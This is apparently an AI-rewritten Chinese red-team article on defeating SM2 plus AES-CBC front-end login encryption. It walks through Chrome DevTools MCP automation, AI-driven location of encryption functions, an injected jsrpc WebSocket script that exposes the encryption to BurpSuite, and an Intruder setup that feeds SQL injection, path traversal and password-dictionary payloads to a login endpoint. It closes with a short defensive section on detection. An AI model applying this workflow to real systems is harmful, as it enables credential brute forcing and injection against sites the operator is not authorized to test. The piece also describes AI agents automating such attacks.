好的，作为一名在红队攻防与安全研究领域深耕多年的资深专家，我很高兴能为你深入剖析并重新构建这篇关于如何突破前端加密的实战技术文章。我们直接切入核心，看看这套将前端防御工事转变为进攻跳板的创新技术是如何运作的。 --- 当目标登录接口被AES-CBC与SM2双重加密联手封锁时，传统的暴力破解工具几乎瞬间失效。问题非常现实：你发送的请求，服务端根本不认可，返回的全是无效响应。本文将分享一套将前端加密防线反向利用的创新攻击工作流。该方案借助Chrome MCP逆向提取密钥，结合AI智能生成加密载荷，并通过BurpSuite jsrpc实现实时加解密。简单来说，就是将敌人的坚固盾牌，转变为我们手中的进攻利器。 # 基于Chrome MCP与AI的红队自动化加解密工作流 ## 一、研究背景与攻击动机 前端加密技术如今几乎成为标配，这对红队渗透测试而言，意味着过去那些“万能”的撞库、暴力破解手段大多已失效。根本原因在于：登录接口不再接收明文密码，而是要求提交经过AES-CBC或SM2等算法处理后的密文。部分高安全系统甚至直接采用双重加密——先用SM2将AES密钥封装，再用这个AES密钥去加密实际业务数据。 这一趋势直接导致传统攻击工具集体“失灵”： | 工具/方法 | 失效原因 | 表现 | | :---: | :---: | :---: | | BurpSuite Intruder | 无法生成合法密文 | 所有爆破请求均返回400/403错误 | | Hydra/Medusa | 不支持加密预处理 | 甚至无法与目标完成握手 | | 自定义字典攻击 | 明文载荷被服务端直接拒收 | 无任何有效响应返回 | | 自动化扫描器 | 缺乏加密载荷生成能力 | 探测功能完全丧失 | 因此，红队迫切需要一套全新方案，能够穿透前端加密黑箱，自动化提取密钥，并伪造合法的加密请求。本文基于Chrome DevTools MCP、AI逆向分析以及BurpSuite jsrpc，构建了一条端到端自动化的加解密攻击链路。其核心思路极为巧妙：**将前端加密防线，直接转变为我们的进攻通道**。 ## 二、双重加密的技术剖析 ### 2.1 常见的双重加密架构 高安全等级的系统，通常采用混合加密来平衡安全性与性能。整个流程大致如下： ``` ┌─────────────────────────────────────────────────────────────┐ │ 客户端加密流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 明文数据 ──→ AES-CBC加密 ──→ Base64编码 ──→ 请求体 │ │ ↑ │ │ │ │ │ AES密钥 ──→ SM2公钥加密 ──→ 密钥密文 ──→ 请求头 │ │ │ └─────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────┐ │ 服务端解密流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 密钥密文 ──→ SM2私钥解密 ──→ AES密钥 │ │ ↓ │ │ 请求体 ──→ Base64解码 ──→ AES-CBC解密 ──→ 明文数据 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` - **第一层：非对称加密（SM2/RSA）** — 保护对称密钥的传输安全。前端使用服务端下发的公钥加密AES密钥，确保只有持有私钥的服务端才能解密。 - **第二层：对称加密（AES-CBC）** — 保护业务数据的机密性与完整性。使用随机生成的AES密钥加密请求体，而密钥本身又被非对称加密所保护。 从理论上看，这套架构相当安全：即便攻击者截获了完整的请求包，没有SM2私钥，也无法解开AES密钥，更无法查看明文数据。 ### 2.2 攻击面的重新审视 然而，从红队的视角审视，这套架构存在一个根本性的脆弱点——**所有加密过程均发生在客户端**。 这意味着什么？ - 加密算法的实现细节、公钥、IV等所有密码学参数，都清晰地写在前端代码中。 - 这些加密函数本身就是JavaScript运行时中可被调用的公开接口。 - 因此，攻击者完全可以**直接调用前端的加密函数**，而无需自行重新实现算法。 这正是我们整个攻击方法论的核心：**与其逆向算法，不如重用算法；与其提取密钥，不如调用函数**。 ## 三、自动化攻击架构 ### 3.1 整体工作流 这套自动化攻击链路由三个核心组件协同完成，每个阶段环环相扣： ``` ┌─────────────────────────────────────────────────────────────┐ │ 阶段一：密钥与逻辑提取 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Chrome MCP ──→ 自动导航至登录页 │ │ ↓ │ │ AI自动分析 ──→ 定位加密函数、提取公钥/AES密钥/IV │ │ ↓ │ │ jsrpc注入 ──→ 将加密函数暴露为全局可调用接口 │ │ │ └─────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────┐ │ 阶段二：载荷自动生成 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ AI生成Payload ──→ SQL注入/XSS/越权测试载荷 │ │ ↓ │ │ 调用原生加密函数 ──→ 通过jsrpc调用浏览器内加密 │ │ ↓ │ │ 生成合法密文 ──→ 可直接提交的有效请求 │ │ │ └─────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────┐ │ 阶段三：BurpSuite集成 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ BurpSuite插件 ──→ 拦截请求，识别待加密字段 │ │ ↓ │ │ jsrpc调用 ──→ 将明文载荷发送至浏览器加密 │ │ ↓ │ │ 替换密文 ──→ 自动完成请求加密并转发 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 3.2 Chrome MCP：自动化逆向的抓手 Chrome DevTools MCP作为MCP协议的浏览器控制实现，能够让AI以程序化方式操控Chrome浏览器。在攻击流程中，它主要承担以下任务： **任务一：自动导航与状态准备** ``` // AI通过MCP执行的自动化操作序列 1. na vigate_to("https://target.com/login") 2. wait_for_element("#username", timeout=5000) 3. fill_input("#username", "test_user") 4. fill_input("#password", "任意测试密码") 5. click_button("登录") 6. capture_network_request("/api/login") ``` **任务二：加密函数定位** ``` // AI在控制台执行的代码 // 搜索加密相关全局对象 const cryptoKeys = Object.keys(window).filter(k => k.toLowerCase().includes('encrypt') || k.toLowerCase().includes('sm2') || k.toLowerCase().includes('aes') ); console.log('候选加密对象:', cryptoKeys); // 遍历Vue/React组件树查找加密服务 const app = document.querySelector('#app').__vue_app__; const cryptoService = app.config.globalProperties.$crypto; ``` **任务三：参数提取** ``` // 断点提取密钥与IV debugger; // 在加密函数入口处执行 console.log('AES Key:', key); console.log('IV:', iv); console.log('SM2 Public Key:', publicKey); ``` ### 3.3 AI驱动的加密逻辑分析 AI模型在接收到MCP捕获的请求和源码后，会执行以下分析流程： **第一步：加密类型识别** | 特征 | 判定 | 后续动作 | | :---: | :---: | :---: | | 密文以`04`开头，长度130字符 | SM2 | 提取公钥，准备SM2加密调用 | | 密文为Base64，解码后长度16倍数 | AES-CBC | 提取Key和IV，确认填充模式 | | 同时存在两种密文 | 双重加密 | 定位密钥封装与数据加密的两层逻辑 | **第二步：调用链追踪** AI通过MCP的`evaluate_script`能力，在浏览器中执行JavaScript来追踪加密调用栈： ``` // 注入Hook，拦截所有加密相关调用 const originalEncrypt = window.encryptFunction; window.encryptFunction = function(...args) { console.trace('Encrypt called with:', args); debugger; // 触发断点，供AI分析上下文 return originalEncrypt.apply(this, args); }; ``` **第三步：自动化脚本生成** AI根据分析结果，自动生成jsrpc注入脚本，将加密函数暴露给外部的BurpSuite调用。 ### 3.4 jsrpc：浏览器与BurpSuite的加密桥梁 jsrpc技术的核心，是在浏览器中维持一个常驻的加密服务，通过WebSocket或HTTP与BurpSuite插件进行通信。 **浏览器端注入脚本**： ``` // 通过Chrome MCP注入 (function(){ // 定位原始加密函数 const aesKey = "7f3a8b2c5d1e9f4a"; const iv = "3c5f7a9b1d3e5f7a"; const sm2PublicKey = "04b9364f5c8a3e2d..."; // 封装加密接口 window.encryptService = { // AES-CBC加密 aesEncrypt: function(plaintext) { const encrypted = CryptoJS.AES.encrypt(plaintext, CryptoJS.enc.Utf8.parse(aesKey), { iv: CryptoJS.enc.Utf8.parse(iv), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); return encrypted.ciphertext.toString(CryptoJS.enc.Base64); }, // SM2加密 sm2Encrypt: function(plaintext) { return SM2Utils.encrypt(sm2PublicKey, plaintext); }, // 双重加密：SM2封装密钥 + AES加密数据 doubleEncrypt: function(plaintext) { const sessionKey = this.generateSessionKey(); const encryptedKey = this.sm2Encrypt(sessionKey); const encryptedData = this.aesEncryptWithKey(plaintext, sessionKey); return { key: encryptedKey, data: encryptedData }; } }; // 启动RPC服务 const ws = new WebSocket("ws://localhost:8080/encrypt"); ws.onmessage = function(msg) { const request = JSON.parse(msg.data); const result = window.encryptService[request.method](request.payload); ws.send(JSON.stringify({id: request.id, result: result })); }; })(); ``` **BurpSuite插件端**： 插件拦截请求后，识别出需要加密的字段，将明文通过WebSocket发送至浏览器进行加密，收到密文后再替换掉原始请求内容。 ## 四、实战案例：突破双重加密登录接口 ### 4.1 目标分析 某企业后台系统的登录接口采用了双重加密架构： **请求格式**： ``` POST /api/auth/login HTTP/1.1 Host: admin.target.com Content-Type: application/json { "key": "04a3b2c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4", "data": "xK8rP4sL2mN9qR5tY7uW1iE3aG6bH8jK0lZ2xC4vB6nM8pQ0rS2tU4vW6xY8zA0bC2dE4fG6hI8jK0lL2mN4oP6qR8sT0uV2wX4yZ6", "timestamp": 1704067200 } ``` 其中： - `key`字段：SM2加密的AES会话密钥 - `data`字段：AES-CBC加密的业务数据（包含username/password） - `timestamp`：时间戳（明文） ### 4.2 红队工作流执行 **步骤一：Chrome MCP自动化逆向** 使用以下提示词驱动AI完成自动化分析： ``` 使用 Chrome DevTools MCP + js-reverse-automation Skill 对目标站点进行深度登录逆向分析。 目标： 完整分析登录接口的双重加密逻辑，包括SM2公钥提取、AES密钥生成方式、参数构造流程。 目标站点： https://admin.target.com/login 任务： 1. 自动打开登录页，填写测试账号 admin / 123456 2. 抓取登录请求，识别 key 和 data 字段的生成逻辑 3. 在 Sources 中定位加密函数，判断是否使用 SM2 + AES-CBC 双重加密 4. 提取 SM2 公钥、AES 密钥生成算法、IV 固定值或生成方式 5. 自动生成 jsrpc 注入脚本，将加密函数暴露为外部可调用接口 ``` **步骤二：AI自动定位加密逻辑** AI通过MCP执行以下定位代码： ``` // 搜索SM2相关对象 window.sm2; // 输出: {encrypt: ƒ, decrypt: ƒ, utils: {…}} // 搜索AES加密调用 // 在network面板的initiator中追踪到 encryptRequest 函数 function encryptRequest(params) { const sessionKey = generateRandomKey(16); // 随机AES密钥 const encryptedKey = sm2.encrypt(publicKey, sessionKey); const encryptedData = aesCbcEncrypt(JSON.stringify(params), sessionKey, iv); return {key: encryptedKey, data: encryptedData}; } ``` **关键发现**： - AES密钥**每次请求随机生成**，无法通过静态提取获得 - 但加密函数**完全暴露在客户端**，可被直接调用 - IV为**固定值** `3c5f7a9b1d3e5f7a` **步骤三：jsrpc注入与BurpSuite集成** AI自动生成注入脚本，将`encryptRequest`函数暴露为RPC服务： ``` // 注入脚本 window.rpc = { encryptLogin: function(username, password, timestamp) { const params = { username: username, password: password, timestamp: timestamp }; return window.encryptRequest(params); } }; ``` BurpSuite插件配置为：拦截登录请求 → 提取明文字段 → 通过WebSocket调用`rpc.encryptLogin` → 替换`key`和`data`字段。 **步骤四：自动化攻击测试** 完成集成后，红队可以在BurpSuite Intruder中直接使用明文词典： | 明文字典 | 自动加密后 | 攻击效果 | | :---: | :---: | :---: | | `admin' OR '1'='1` | 合法SM2+AES密文 | SQL注入探测 | | `admin` + 密码字典 | 每个请求独立加密 | 身份爆破 | | `../../etc/passwd` | 合法密文 | 路径遍历测试 | ## 五、攻击技术深度解析 ### 5.1 为什么“调用加密函数”优于“复现加密算法” | 对比维度 | 传统逆向复现 | jsrpc调用原生函数 | | :---: | :---: | :---: | | 算法复杂度 | 需完整逆向算法实现 | 无需理解算法细节 | | 密钥提取 | 需从内存/源码提取 | 函数内部自动处理 | | 动态密钥 | 无法处理随机生成场景 | 原生支持，每次调用自动生成 | | 维护成本 | 目标更新需重新逆向 | 浏览器自动加载最新版本 | | 准确率 | 可能存在实现偏差 | 100%与真实请求一致 | ### 5.2 绕过加密边界的本质 这套方法论的实质在于：**将加密边界从“客户端-服务端之间”重新定义为“浏览器-攻击工具之间”**。 传统视角下，加密边界是客户端与服务端的协议边界，攻击者被隔离在密文空间之外，只能看到一堆乱码。而通过jsrpc，攻击工具被“接入”到浏览器内部，与加密函数处于同一个信任域，从而获得了直接操作明文的能力。 ``` 传统攻击模型： 攻击工具 --(明文)--> [加密边界] --(密文)--> 服务端 ↑ 攻击者无法穿透 本文攻击模型： 攻击工具 --(明文)--> jsrpc --(明文)--> 浏览器加密函数 --(密文)--> 服务端 ↑ 攻击工具与加密函数同处信任域 ``` ### 5.3 对抗前端混淆与代码加密 面对经过Obfuscator.io等工具混淆过的前端代码，AI可以通过以下策略突破： 1. **运行时追踪而非静态分析**：通过MCP触发实际的加密调用，观察输入与输出的对应关系。 2. **Hook关键API**：拦截`Function.prototype.call`、`eval`等动态执行函数。 3. **内存快照分析**：在加密函数执行后，读取闭包变量中存储的值。 ## 六、防御视角的思考 从蓝队角度出发，理解了这套攻击手法，才能构建更有效的防御措施。 ### 6.1 服务端加固方案 | 问题 | 攻击方式 | 防御方案 | | :---: | :---: | :---: | | 加密函数可被外部调用 | jsrpc远程调用 | 增加环境指纹校验（检测WebSocket外连） | | 请求可被重放 | 拦截合法请求并替换载荷 | 绑定请求时间戳 + 一次性Nonce | | 加密算法完全暴露 | 攻击者直接调用 | 将核心加密逻辑迁移至服务端（如WebCrypto + 签名） | ### 6.2 检测jsrpc攻击的特征 蓝队可以通过以下指标来检测自动化加密攻击： - **WebSocket外连**：浏览器向localhost或非业务域名发起WebSocket连接。 - **异常的函数调用模式**：加密函数在短时间内被高频调用，明显超出正常用户行为模式。 - **Headless浏览器特征**：检测`na vigator.webdriver`、`--headless`等自动化标记。 ## 七、总结 本文的核心，是提出并验证了一套突破前端双重加密防线的自动化红队工作流。核心结论如下： | 组件 | 作用 | 关键价值 | | :---: | :---: | :---: | | Chrome MCP | 自动化导航、代码定位、断点调试 | 将人工逆向转化为程序化操作 | | AI分析引擎 | 加密类型识别、函数定位、脚本生成 | 数分钟完成数小时的逆向工作 | | jsrpc + BurpSuite | 保持浏览器加密上下文，实时加解密 | 将明文攻击载荷自动转换为合法密文 | 这套工作流最根本性的突破在于：**不再试图“破解”加密，而是“接入”加密**。通过将攻击工具置于与加密函数相同的信任域，前端加密防线反而被转化为了进攻通道。 对红队而言，这意味着即使面对SM2+AES-CBC双重加密、随机密钥、代码混淆等高级防护，攻击链路依然可以自动化完成。对蓝队来说，这提醒我们：真正的安全边界，其实不在于前端加密的强度，而在于服务端对请求合法性校验的完备性——包括环境指纹、行为模式、请求完整性的多维度验证。